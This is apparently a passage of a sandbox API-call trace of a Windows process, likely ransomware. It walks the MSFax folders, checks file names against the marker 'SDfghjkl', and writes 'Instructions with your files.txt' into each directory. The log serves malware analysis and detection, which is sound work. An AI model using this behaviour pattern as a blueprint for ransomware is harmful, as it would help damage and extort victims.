[0131.957] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.957] CloseHandle (hObject=0x118) returned 1
[0131.957] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.957] GetProcessHeap () returned 0x810000
[0131.958] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.958] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb400b6c0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb400b6c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb400b6c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.958] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Instructions with your files.txt") returned 82
[0131.958] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.958] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb3fbf400, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3fbf400, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Queue", cAlternateFileName="")) returned 1
[0131.958] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue") returned 55
[0131.958] GetProcessHeap () returned 0x810000
[0131.958] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.958] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue\\*") returned 57
[0131.958] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb3fbf400, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3fbf400, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.958] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue\\.") returned 57
[0131.958] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb3fbf400, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3fbf400, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.958] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue\\..") returned 58
[0131.958] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb3fbf400, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb3fbf400, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3fbf400, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.958] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue\\Instructions with your files.txt") returned 88
[0131.958] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.958] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb3fbf400, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb3fbf400, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3fbf400, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.958] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue\\Instructions with your files.txt") returned 88
[0131.958] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\queue\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.958] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.959] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.959] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.959] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.959] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.960] CloseHandle (hObject=0x118) returned 1
[0131.960] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.960] GetProcessHeap () returned 0x810000
[0131.960] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.960] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb3fbf400, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3fbf400, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SentItems", cAlternateFileName="SENTIT~1")) returned 1
[0131.960] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems") returned 59
[0131.960] GetProcessHeap () returned 0x810000
[0131.960] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.960] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems\\*") returned 61
[0131.960] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb3fbf400, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3fbf400, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.960] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems\\.") returned 61
[0131.960] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb3fbf400, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3fbf400, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.960] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems\\..") returned 62
[0131.960] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb3fbf400, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb3fbf400, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3fbf400, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.960] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems\\Instructions with your files.txt") returned 92
[0131.960] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.960] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb3fbf400, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb3fbf400, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3fbf400, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.960] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems\\Instructions with your files.txt") returned 92
[0131.960] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\sentitems\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.960] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.961] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.961] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.961] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.962] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.962] CloseHandle (hObject=0x118) returned 1
[0131.962] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.962] GetProcessHeap () returned 0x810000
[0131.962] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.962] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb400b6c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb400b6c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VirtualInbox", cAlternateFileName="VIRTUA~1")) returned 1
[0131.962] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox") returned 62
[0131.962] GetProcessHeap () returned 0x810000
[0131.962] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.962] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*") returned 64
[0131.962] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb400b6c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb400b6c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.962] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\.") returned 64
[0131.962] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb400b6c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb400b6c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.962] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\..") returned 65
[0131.962] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb3fe5560, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3fe5560, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
[0131.962] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US") returned 68
[0131.962] GetProcessHeap () returned 0x810000
[0131.962] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0131.962] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*") returned 70
[0131.962] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb3fe5560, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3fe5560, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.962] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\.") returned 70
[0131.963] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb3fe5560, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3fe5560, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.963] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\..") returned 71
[0131.963] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb3fe5560, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb3fe5560, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb400b6c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.963] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\Instructions with your files.txt") returned 101
[0131.963] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.963] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeFax.tif", cAlternateFileName="")) returned 1
[0131.963] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif") returned 83
[0131.963] StrStrIW (lpFirst="WelcomeFax.tif", lpSrch="SDfghjkl") returned 0x0
[0131.963] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeFax.tif", cAlternateFileName="")) returned 0
[0131.963] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\Instructions with your files.txt") returned 101
[0131.963] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\virtualinbox\\en-us\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.963] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.964] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.964] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.964] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.964] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.964] CloseHandle (hObject=0x11c) returned 1
[0131.964] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.964] GetProcessHeap () returned 0x810000
[0131.964] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0131.964] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb400b6c0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb400b6c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb400b6c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.965] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\Instructions with your files.txt") returned 95
[0131.965] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.965] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb400b6c0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb400b6c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb400b6c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.965] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\Instructions with your files.txt") returned 95
[0131.965] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\virtualinbox\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.965] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
